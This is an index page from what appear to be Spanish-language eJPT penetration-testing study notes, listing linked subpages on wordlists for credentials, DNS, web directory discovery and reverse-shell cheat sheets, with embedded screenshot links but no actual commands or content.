![[Pasted image 20260318165317.png]]![[Pasted image 20260318165329.png]]![[Pasted image 20260318165351.png]]![[Pasted image 20260318165359.png]]
eJPTv2
12. Wordlists
Indice Wordlists
[[1. Users y Passwords]]
[[2. DNS]]
[[3. Directorios, recursos, subdominio web]]
[[4. Shells y Cheatsheet reverse shells]]